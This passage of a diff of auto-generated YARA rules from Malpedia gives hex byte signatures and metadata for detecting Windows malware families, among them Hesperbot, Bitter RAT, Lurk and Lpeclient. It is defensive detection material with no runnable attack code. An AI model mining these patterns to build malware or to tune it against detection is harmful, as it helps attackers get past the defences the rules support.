-		$sequence_14 = { 8b8c1040100000 c1e10a ba04000000 c1e200 8b4508 8b941040100000 c1ea16 }
-		$sequence_15 = { 899594fdffff 8b8d9cfdffff 338d98fdffff 038d94fdffff 8b55fc }
-		$sequence_16 = { 8b54813c c1e209 8b45fc 8b4d08 8b44813c }
-		$sequence_17 = { 8985e4feffff 8b45fc 8b4d08 8b548134 }
-		$sequence_18 = { 8b4dfc 8b5508 8b848a1c080000 c1e017 8b4dfc 8b5508 8b8c8a1c080000 }
+		$sequence_0 = { 7528 488bd3 488bcf e8???????? 448b87a8020000 488d15d43f0200 448906 }
+		$sequence_1 = { 4c8d442430 e8???????? 85c0 0f8533010000 8d7058 8d6814 eb36 }
+		$sequence_2 = { ff15???????? 488bf8 4885c0 750f ff15???????? 488d15f7730200 eb27 }
+		$sequence_3 = { 0fb74348 ff4320 448b4b20 ffc0 488d1586a70200 440fb7c0 e8???????? }
+		$sequence_4 = { 48894598 4889442458 4889442460 0fb6474d 41c1e608 440bf0 0fb6474e }
+		$sequence_5 = { 440fb64c3580 4c8d05a73f0100 ba03000000 488bcf e8???????? 48ffc6 4883c702 }
+		$sequence_6 = { 4883ec38 ffca 744c 81faff1f0000 754b 33c0 4c8905???????? }
+		$sequence_7 = { e8???????? 8bf8 85c0 7907 b8c0feffff eb3f 0fb78394030000 }
+		$sequence_8 = { 83c702 3ac1 760a b8bafeffff e9???????? 7368 0fb78b94030000 }
+		$sequence_9 = { 488d15e98d0200 498bce 4c8bc0 e8???????? 8d7e3e 448be3 e9???????? }
 
 	condition:
-		7 of them and filesize <2318336
+		7 of them and filesize <1400832
 }
-rule MALPEDIA_Win_Milkmaid_Auto : FILE
+rule MALPEDIA_Win_Hesperbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c60d500-9a52-5cea-8bfb-4d836c40072e"
+		id = "a7df8c05-0ba7-5df5-beac-3b2d7fa2a54e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.milkmaid_auto.yar#L1-L100"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hesperbot_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "c4a5987f68f519192a013c67faec02935457872f835e55aadbf7cdc1a7483580"
+		logic_hash = "791429e92dde914e6ba42c9451f8338c991a26d1b1d12ebf3b674c1fb1ca0de1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170870,30 +177972,32 @@ rule MALPEDIA_Win_Milkmaid_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7440 56 ff15???????? 8d4c2414 }
-		$sequence_1 = { c68424dc28010002 e8???????? 8d4c2410 c68424dc28010001 }
-		$sequence_2 = { 50 53 ff15???????? 8d4c2478 c68424dc28010002 }
-		$sequence_3 = { 6a00 ff15???????? 6aff 8d4c2408 e8???????? 68???????? 8d4c2408 }
-		$sequence_4 = { 895c2428 7513 8b5508 52 53 }
-		$sequence_5 = { 8d442408 57 50 e8???????? 83c404 33db }
-		$sequence_6 = { 8be9 896c2420 8a8528280100 84c0 7528 8b4d04 }
-		$sequence_7 = { 51 8d8c2480000000 c68424e428010003 e8???????? b911000000 }
+		$sequence_0 = { 33f0 8b442440 0b442438 33cf 23442448 8b7c2444 8b5c2440 }
+		$sequence_1 = { f60602 740e 8bc6 e8???????? 85c0 7403 8326fd }
+		$sequence_2 = { 85f6 7454 817d0818040000 724b 57 8b3e }
+		$sequence_3 = { 59 59 85c0 741e ff7510 8b450c 8d4ddc }
+		$sequence_4 = { 8d45ec b975382414 46 e8???????? 8d45ec 6a10 50 }
+		$sequence_5 = { 03f3 837f1800 7639 8b0e 03cb e8???????? 3b4508 }
+		$sequence_6 = { 8b01 eb0b 8b5008 3b54240c }
+		$sequence_7 = { c9 c3 64a130000000 c3 55 8bec 83ec48 }
+		$sequence_8 = { 56 33f6 85c0 741a 0fb71471 83fa41 720c }
+		$sequence_9 = { 7308 e8???????? 33d2 42 }
 
 	condition:
-		7 of them and filesize <65536
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Bitter_Rat_Auto : FILE
+rule MALPEDIA_Win_Ldr4_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "48708c16-f954-55fa-bcb7-85a1e067df06"
+		id = "ccab43fe-6663-5ab0-9f9d-f8403f8cf5d7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bitter_rat_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ldr4"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ldr4_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "cf289391c2e8c84704b0f60fd200159e5bca809a29a5213fda197ca45567e744"
+		logic_hash = "78a7719e8cf0704f5c76c874cc1f41ecbae742c2d4a4b3ef70df1b0258c1fe71"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170907,32 +178011,32 @@ rule MALPEDIA_Win_Bitter_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf4 6830750000 ff15???????? 3bf4 e8???????? e9???????? }
-		$sequence_1 = { e8???????? 8d856cf8ffff 50 8b8da8feffff 51 e8???????? }
-		$sequence_2 = { ff15???????? 3bf4 e8???????? 898574d8ffff 8bf4 8d858cd8ffff }
-		$sequence_3 = { 83c408 8d85fcd8ffff 50 e8???????? 83c404 898558d9ffff 8b8558d9ffff }
-		$sequence_4 = { ff15???????? 3bf4 e8???????? 8945a0 8bf4 6a01 }
-		$sequence_5 = { eb12 8b45f4 83e801 8945f4 8b4de8 83c101 894de8 }
-		$sequence_6 = { 89859cdbffff 8b8d9cdbffff 81e9d3070000 898d9cdbffff 83bd9cdbffff15 0f872b020000 8b959cdbffff }
-		$sequence_7 = { 8d1c8d00124700 8bf0 83e61f c1e606 8b0b 0fbe4c3104 83e101 }
-		$sequence_8 = { e8???????? 83c404 85c0 7420 e8???????? 8bf4 68d0070000 }
-		$sequence_9 = { 3b05???????? 0f8688000000 a1???????? d1e0 3945f8 760b 8b4df8 }
+		$sequence_0 = { ff750c 0fb745f0 ff7508 50 0fb745ee 50 0fb745ec }
+		$sequence_1 = { c9 c20c00 56 6a2f ff74240c e8???????? 6a3f }
+		$sequence_2 = { 6a00 53 ff15???????? 837df800 0f8528010000 8d45f4 }
+		$sequence_3 = { 53 56 57 8945f8 33c0 33db 6a3e }
+		$sequence_4 = { 7506 6683f901 7723 83c720 66893b eb04 8365fc00 }
+		$sequence_5 = { 8d442410 50 8b442420 358555f261 50 8bc3 e8???????? }
+		$sequence_6 = { ff15???????? 8bf0 85f6 742c 33c9 85db 7622 }
+		$sequence_7 = { 8d8d00feffff 51 e8???????? 85c0 757e }
+		$sequence_8 = { 8d42f8 d1e8 3955fc 7c3e 85c0 }
+		$sequence_9 = { 0f84f1010000 8b3d???????? 50 ffd7 ff750c 8945e8 ffd7 }
 
 	condition:
-		7 of them and filesize <1130496
+		7 of them and filesize <117760
 }
-rule MALPEDIA_Win_Lurk_Auto : FILE
+rule MALPEDIA_Win_Lookback_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "67fdecf6-fece-5b5e-aa84-6821eaa887bc"
+		id = "5641bb4f-38a9-52e1-a4b7-204dc4620521"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lurk_auto.yar#L1-L180"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lookback_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "1d68cad8f119a971efeb0a8c788b3983d9ce03607f838f5c4c4d29840d917af1"
+		logic_hash = "68449af30b767d5c82dfe8271f4bbe8c83972fe98d28065e60e3bffd1a6dc166"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170946,38 +178050,32 @@ rule MALPEDIA_Win_Lurk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff7508 ff15???????? 8b35???????? 50 ff7508 }
-		$sequence_1 = { 8b4508 5b 5f 5e c9 c3 55 }
-		$sequence_2 = { 8b4d08 8b5110 83c201 8b4508 895010 8b4dac 51 }
-		$sequence_3 = { f3a5 66a5 33db 395d08 }
-		$sequence_4 = { 72cc 33c9 8bc1 99 6a0b 5f f7ff }
-		$sequence_5 = { c1ee03 33ce eb0e c1e60b 33ce 8bf0 c1ee05 }
-		$sequence_6 = { 59 3bc7 7534 0fbe4203 }
-		$sequence_7 = { 8b3d???????? 33f6 bb24080000 53 6a40 8975ec }
-		$sequence_8 = { ff750c 83ceff ff7508 ff7510 e8???????? 83c418 85c0 }
-		$sequence_9 = { ff750c 57 ff15???????? 85c0 7411 395dfc 750c }
-		$sequence_10 = { 68???????? 8d85ecfeffff 50 ff15???????? 8d85ecfeffff 50 }
-		$sequence_11 = { ebf8 56 8bf0 33c0 85d2 8bca 740c }
-		$sequence_12 = { 8945fc 8b4d10 8b91a4000000 8955f8 837df800 7661 }
-		$sequence_13 = { c9 c3 55 8bec 81ec08010000 6a35 6a40 }
-		$sequence_14 = { 744d 56 8d4508 50 }
-		$sequence_15 = { 83f866 7567 3bf0 7563 0fbe4205 50 e8???????? }
+		$sequence_0 = { 53 8944241a 57 66894c2416 89442422 8bfa }
+		$sequence_1 = { 8b7c241c 33ed 8b473c 8b443878 03c7 8b5024 }
+		$sequence_2 = { 55 8bec 51 53 c745fc00000000 b801000000 }
+		$sequence_3 = { c3 5e 5d 33c0 5b 81c410070000 c3 }
+		$sequence_4 = { 3c01 893d???????? 893d???????? 752e }
+		$sequence_5 = { c644240800 88442415 e8???????? 8d4c240c 89442408 51 }
+		$sequence_6 = { 8d5108 d1e8 85c0 7e33 }
+		$sequence_7 = { 74a7 8b06 85c0 757b }
+		$sequence_8 = { 52 8d442418 57 50 68???????? 57 57 }
+		$sequence_9 = { 55 8bec 51 53 c745fc00000000 b801000000 0fa2 }
 
 	condition:
-		7 of them and filesize <5316608
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Whitebird_Auto : FILE
+rule MALPEDIA_Win_Remy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18c8f315-82f9-5211-979b-cd91dd0f89f6"
+		id = "7ce97943-cfc3-5429-92c7-f07c9ff48391"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whitebird_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remy_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "9614af5c53f8ac08af22eb37dac785c96bbf80265ac7367d1874d42f77f5a2ec"
+		logic_hash = "8cc4f887faa36fa3ebf369fe88c2b140d588410f99b73c322f37daf8b5d5619a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -170991,32 +178089,32 @@ rule MALPEDIA_Win_Whitebird_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a4302 84c0 7408 3c01 7404 }
-		$sequence_1 = { 8a4301 3c01 7404 3c02 }
-		$sequence_2 = { 8a4302 84c0 7408 3c01 7404 3c02 }
-		$sequence_3 = { eb09 80f92f 0f95c1 80c13f }
-		$sequence_4 = { 8a4302 84c0 7408 3c01 }
-		$sequence_5 = { ffb5c0fbffff 8930 ff15???????? 01b5c4fbffff ff8dbcfbffff 75dd ffb5c0fbffff }
-		$sequence_6 = { ff15???????? 488bcb ff15???????? b801000000 488b8c2480040000 4833cc e8???????? }
-		$sequence_7 = { 8b4d08 836d0808 d3e3 095d0c 46 3bf7 72ec }
-		$sequence_8 = { 488d542468 498bcd ffd0 3bc3 8bd0 7c28 8b442478 }
-		$sequence_9 = { 4833c4 4889842450250000 418bf9 458be0 448bf2 89542454 4c8be9 }
+		$sequence_0 = { 83c404 3bc3 7420 50 8bc6 8d7c241c }
+		$sequence_1 = { 56 81c30f010000 53 e8???????? 8d46f0 }
+		$sequence_2 = { 3dc8000000 0f85c50b0000 6a28 8d742424 895c2424 895c2428 895c242c }
+		$sequence_3 = { 5d c3 8b7dfc 8d4fff 81f9ffff0000 7728 }
+		$sequence_4 = { 7451 8d4634 898638100000 8d8634100000 c70000100000 895d0c 895d08 }
+		$sequence_5 = { 51 8d570c 52 e8???????? 83c40c 8b4508 83c010 }
+		$sequence_6 = { 8b5604 2bc8 2bd0 c1f902 c1fa02 3bd1 }
+		$sequence_7 = { 8d8748100000 57 8908 8d4da4 51 8d55a0 52 }
+		$sequence_8 = { 8d4d90 e8???????? 83c41c c645fc02 895e40 8bff 8b4d94 }
+		$sequence_9 = { 50 ff15???????? 8b95b4feffff 52 ff15???????? 8b4df4 64890d00000000 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <507904
 }
-rule MALPEDIA_Win_Kivars_Auto : FILE
+rule MALPEDIA_Win_Atharvan_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "81082c3d-5064-55a3-8cee-83fb88e85d6c"
+		id = "90143155-ec04-5a1a-8f1d-cad8e690d20c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kivars_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atharvan"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atharvan_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "57db268647853b0be399381edf4cd6dc1a86ac28f0c0a8c22aae4b45830a7fb0"
+		logic_hash = "4ab12aee6394d0021e81333c85382f01af297ccebc032a8d7f39b0ec61d7b92e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171030,38 +178128,32 @@ rule MALPEDIA_Win_Kivars_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c705????????00000000 c644245423 c744245002000000 488d4c2450 e8???????? }
-		$sequence_1 = { 8d542440 8944244c 894c243c 6a14 }
-		$sequence_2 = { 8d8c247c010000 51 e8???????? 83c404 33c0 5f 5e }
-		$sequence_3 = { 44894c2420 4c89442418 89542410 48894c2408 4881eca8000000 488b05???????? }
-		$sequence_4 = { ff15???????? 8bc8 8d7308 83e908 8dbc2492000000 8bd1 }
-		$sequence_5 = { 4889842470020000 ff15???????? 89842430020000 c784242002000001000000 c784242c02000002000000 c64424707d }
-		$sequence_6 = { 755d 4c8b8424e0050000 488d942460020000 488d8c2450010000 e8???????? }
-		$sequence_7 = { 4883c005 4889442428 488b842470100000 4883c009 }
-		$sequence_8 = { 894c2430 89442444 894c2434 89442448 894c2438 8d542440 8944244c }
-		$sequence_9 = { 488d942440010000 488d4c2430 e8???????? 8b442434 83e001 85c0 }
-		$sequence_10 = { 50 8b4d18 51 8d5514 }
-		$sequence_11 = { 7476 eb09 80fb3d 0f8489000000 0fbe5c2412 c0e202 8a5c1c14 }
-		$sequence_12 = { 488bc8 ff15???????? 8b842460110000 ffc0 }
-		$sequence_13 = { 83fffe 741b 83ffff 0f858c000000 8d8c247c010000 }
-		$sequence_14 = { 8bf0 83c609 33ff 6a74 897c2414 e8???????? 83c404 }
-		$sequence_15 = { 48894c2408 4881ec68030000 48c7842448030000feffffff 488d8c2430010000 e8???????? }
+		$sequence_0 = { 4c8d05ee7a0000 488b9540070000 488bce e8???????? 85c0 750b eb9e }
+		$sequence_1 = { 423a9401d4ab0100 7566 488b03 48ffc1 8a10 48ffc0 488903 }
+		$sequence_2 = { 498784f6105c0200 4885c0 7409 488bcb ff15???????? 4885db }
+		$sequence_3 = { 8d0480 03c0 442be8 0f84cffbffff 418d45ff 8b848228aa0100 }
+		$sequence_4 = { 750d 4c8bc6 e8???????? e9???????? 4c8bce 4c8d05e1dd0100 }
+		$sequence_5 = { 498bcf ff15???????? 498bcf ff15???????? 488b4c2440 4833cc e8???????? }
+		$sequence_6 = { b903000000 4c8d0564a10000 488d1565a10000 e8???????? }
+		$sequence_7 = { 498bcf ff15???????? 488bd8 eb02 33db 4c8d3d028cffff 4885db }
+		$sequence_8 = { 7528 48833d????????00 741e 488d0d943e0100 e8???????? 85c0 }
+		$sequence_9 = { 83f801 751f 488b0d???????? 488d1d356c0100 483bcb 740c }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <348160
 }
-rule MALPEDIA_Win_Hikit_Auto : FILE
+rule MALPEDIA_Win_Dadstache_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bd6e764b-576f-54ee-bfa6-5e7a42269dfd"
+		id = "1b258f10-8f88-5091-9d8a-b7cbb1e4a0e5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hikit_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dadstache_auto.yar#L1-L168"
 		license_url = "N/A"
-		logic_hash = "dc92a800adf1985c32a4ddd1d9a2bce0a144c5995b6902cad53971cf4e90fb53"
+		logic_hash = "77711feda2c16f34186a4f1ae2717975593af55ed7e01d177132f4e333f94d90"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171075,32 +178167,38 @@ rule MALPEDIA_Win_Hikit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c0 e9???????? 48 8d44244e 48 898424b8000000 48 }
-		$sequence_1 = { 89442428 48 837c242800 747e 33c0 83f801 7444 }
-		$sequence_2 = { c7432000000000 48 8b442430 48 83781800 741c 48 }
-		$sequence_3 = { e8???????? 8bf8 85ff 7408 81ff20a00400 7508 8b06 }
-		$sequence_4 = { 6a00 50 ff15???????? 85c0 0f84a3000000 33ff }
-		$sequence_5 = { 8bd5 8bce e8???????? f7d8 1bc0 40 894608 }
-		$sequence_6 = { 6689046e 8b2d???????? 53 ffd5 56 68???????? 8d4c2410 }
-		$sequence_7 = { 8d05b2210000 48 89442428 eb0d 48 8b442428 }
-		$sequence_8 = { 894120 48 8b4c2460 8b44240c 894104 48 8b4c2460 }
-		$sequence_9 = { 4c 8d442478 baffff1f00 ff15???????? 898424b0000000 83bc24b000000000 7444 }
+		$sequence_0 = { 8d442414 50 6a1f ff35???????? }
+		$sequence_1 = { 8b470c 8bf9 31460c 0f1006 c7450c09000000 0f1145e8 }
+		$sequence_2 = { 85c0 7550 8b0d???????? 8b35???????? 85c9 7403 }
+		$sequence_3 = { 53 8d4d08 895d08 51 53 50 53 }
+		$sequence_4 = { 837c242c10 8d442418 51 0f4344241c }
+		$sequence_5 = { 8d5201 8842ff 83e901 75f2 8bd3 c1ea04 }
+		$sequence_6 = { 6aff 6a00 8d442438 c74424340f000000 50 }
+		$sequence_7 = { 6a1f ff35???????? ff15???????? a1???????? }
+		$sequence_8 = { 741b 8b45f0 47 83c628 3bf8 }
+		$sequence_9 = { 7405 8b4718 8901 8b731c 57 }
+		$sequence_10 = { 42 83c628 8955f0 3b55e4 0f8c66ffffff }
+		$sequence_11 = { 7325 8b7c240c 4a 03d7 8d4fff }
+		$sequence_12 = { 8b4485b0 85d2 8b56f8 7405 0d00020000 8d5de4 53 }
+		$sequence_13 = { e8???????? 85c0 741d 8bce e8???????? 8bce }
+		$sequence_14 = { c3 8b4e04 8d4604 8945fc 8b06 }
+		$sequence_15 = { 84c9 740e 3aca 74ef 0fb6c2 0fb6c9 }
 
 	condition:
-		7 of them and filesize <573440
+		7 of them and filesize <580608
 }
-rule MALPEDIA_Win_Woody_Auto : FILE
+rule MALPEDIA_Win_Ghole_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "35fc0a5e-5caa-5b81-a357-ce6a48801a6d"
+		id = "4005edf0-acd5-5930-97fb-055e6ab03b5d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woody"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woody_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghole_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d359ba0a50d4da9f9c37f195345e1d8ee165deec7ea255ed2ce67ccf9ad5785a"
+		logic_hash = "a19f9cff11c120a5d0a63f0160508dc83f879d2586d9f0ffa0e72d02e6aa023f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171114,34 +178212,34 @@ rule MALPEDIA_Win_Woody_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 59 7412 8d4604 50 8d85e4feffff }
-		$sequence_1 = { 0f8501ffffff 53 ff15???????? a1???????? 85c0 7410 6860ea0000 }
-		$sequence_2 = { 8975ec 3bce 8b35???????? 894ddc 0f86b1000000 8d580a 8b4df4 }
-		$sequence_3 = { 8d8e10010000 c645fc01 e8???????? 8d8e18010000 c645fc02 e8???????? 8d8e20010000 }
-		$sequence_4 = { 50 e8???????? 8b45f4 83c424 813800000080 7239 8b75c8 }
-		$sequence_5 = { 59 5b 0f94c0 5f 5e c9 c20c00 }
-		$sequence_6 = { 48 0f8592000000 6a00 6a00 6a00 ff15???????? }
-		$sequence_7 = { 85db 7503 57 eb15 8d45fc 6a00 50 }
-		$sequence_8 = { 8945e0 294de0 894d14 8b45e0 8b4d14 03c1 8d4db0 }
-		$sequence_9 = { 3bcb 89442450 7412 8b8e0c010000 c74424540e000000 3bcb 7504 }
+		$sequence_0 = { 740d 8b55fc 48 8b45e8 89908c000000 48 8b55e0 }
+		$sequence_1 = { 3b45ec 7591 48 8b05???????? 48 8b00 8b15???????? }
+		$sequence_2 = { 89c7 e8???????? 85c0 0f85ac160000 8b850cfdffff 48 8d9518fdffff }
+		$sequence_3 = { 90 8b4dc8 8b55c4 48 8b5d98 48 8b4598 }
+		$sequence_4 = { 8910 48 8b45e8 48 83c018 48 8b55e8 }
+		$sequence_5 = { 85c0 7518 8b45e0 89c7 e8???????? 85c0 750a }
+		$sequence_6 = { 48 8b45e0 48 895010 48 8d55d4 48 }
+		$sequence_7 = { 894c2408 48 83ec78 c744242050000000 c744242403000000 48 8d0540feffff }
+		$sequence_8 = { 4c 8945c0 c745ec00000000 8b05???????? 85c0 750a b800000000 }
+		$sequence_9 = { 0f847d0f0000 48 8d95a0faffff 48 8d8520fdffff 48 89d6 }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <622592
 }
-rule MALPEDIA_Win_Red_Gambler_Auto : FILE
+rule MALPEDIA_Win_Lpeclient_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4317a3dc-c3fe-56b3-9554-1937ca266fd2"
+		id = "ff5559d0-76ba-5f50-8136-3eeb9fa351f1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.red_gambler_auto.yar#L1-L292"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lpeclient_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "7119f21e00db57c2b9d697114a153bc44616294e27589a57d490b5463e3562f7"
+		logic_hash = "cc71b8a0d92e690c3547182b96989e3a466b7b3af36dfae852a2105f4c91b9a4"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171153,56 +178251,34 @@ rule MALPEDIA_Win_Red_Gambler_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 807e01a2 7535 807e02c3 752f 68???????? 68???????? ff15???????? }
-		$sequence_1 = { 68???????? c745ece80f13fc ffd6 a3???????? }
-		$sequence_2 = { 68ff000000 8d8df0fcffff 51 ff15???????? 85c0 }
-		$sequence_3 = { 3bf1 72bf 5e 33c0 5b }
-		$sequence_4 = { e8???????? 8bf8 83c404 83ffff 74e1 57 8d4c244c }
-		$sequence_5 = { 8d4c2414 51 6a40 6a07 }
-		$sequence_6 = { 68???????? 68???????? ffd6 5e 85c0 7505 }
-		$sequence_7 = { 894dec 8955f0 8945f4 ff15???????? }
-		$sequence_8 = { 2b2a bee7eee947 7c26 0e }
-		$sequence_9 = { 8d4d98 51 ff15???????? 8d5598 52 8d8598fdffff }
-		$sequence_10 = { 7456 7b78 cd50 d46e }
-		$sequence_11 = { bc340e65bc 691fd8727fcf 14cf fd }
-		$sequence_12 = { 9e e779 9e 54 }
-		$sequence_13 = { 51 ff15???????? 83c414 6a00 6a00 8d9598fbffff }
-		$sequence_14 = { ff15???????? 6800010000 8d8d98fdffff 51 8d9598feffff 52 }
-		$sequence_15 = { 52 8d8598fdffff 50 68???????? }
-		$sequence_16 = { 3c3d 9e e7bd e600 3e3e25162f062d }
-		$sequence_17 = { 6a00 6a00 8d9598fbffff 52 68???????? 6a00 6a00 }
-		$sequence_18 = { 50 4c 48 44 40 6c }
-		$sequence_19 = { 6800010000 8d8dfcfdffff 51 6a00 }
-		$sequence_20 = { 68???????? 8d8d98fbffff 68???????? 51 ff15???????? 83c414 }
-		$sequence_21 = { 7c0e 07 642827 3ccf }
-		$sequence_22 = { 8d9598feffff 52 ff15???????? 8d8594fbffff 50 8d4d98 51 }
-		$sequence_23 = { 6800010000 8d85fcfeffff 50 6a00 ff15???????? }
-		$sequence_24 = { 2f 74be 6f 665b }
-		$sequence_25 = { 68???????? ff15???????? 8b7508 c7465c486b4000 83660800 }
-		$sequence_26 = { 6888130000 ffd7 6800010000 8d95fcfeffff }
-		$sequence_27 = { 55 8bec 8b4508 ff34c5d0814000 }
-		$sequence_28 = { 8bf8 ffd3 8bd8 ffd7 8b3d???????? 6aff ffd7 }
-		$sequence_29 = { 83f805 7d10 668b4c4310 66890c4580974000 40 ebe8 }
-		$sequence_30 = { 6a5c 8d8dfcfeffff 51 ff15???????? }
-		$sequence_31 = { 8bec 8b4508 33c9 3b04cd10804000 }
+		$sequence_0 = { f0ff03 8bce e8???????? eb2b 83f8ff 7526 4c8d2567f60000 }
+		$sequence_1 = { 33c0 80f90a 0f94c0 8944244c 488d054a1b0100 }
+		$sequence_2 = { 33c0 488bfe 66f2af 48f7d1 48ffc9 0f8456010000 }
+		$sequence_3 = { e8???????? c1eb03 85db 0f8e52130000 8b4c2450 8b542450 4c8d5e02 }
+		$sequence_4 = { 498be3 5f c3 48895c2410 4889742418 57 4881ec30020000 }
+		$sequence_5 = { 7406 81f1783bf682 48ffc7 48ffca 75e6 443bc1 410f94c5 }
+		$sequence_6 = { 0fb64c38ff 4132c8 880a 4183c10b 41ffc2 }
+		$sequence_7 = { 0bd8 418b0424 8d0c03 8bfb 448bc1 48c1e918 83e10f }
+		$sequence_8 = { 488d0d0f570100 ff15???????? 4c8b4308 488d1546e90000 488d0df74e0100 ff15???????? 488d0d9a480100 }
+		$sequence_9 = { 33db c74424646b000000 ff15???????? 448d4b01 448d4307 488d95a00b0000 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <289792
 }
-rule MALPEDIA_Win_Lorenz_Auto : FILE
+rule MALPEDIA_Win_Huskloader_Auto : FILE
 {
 	meta:
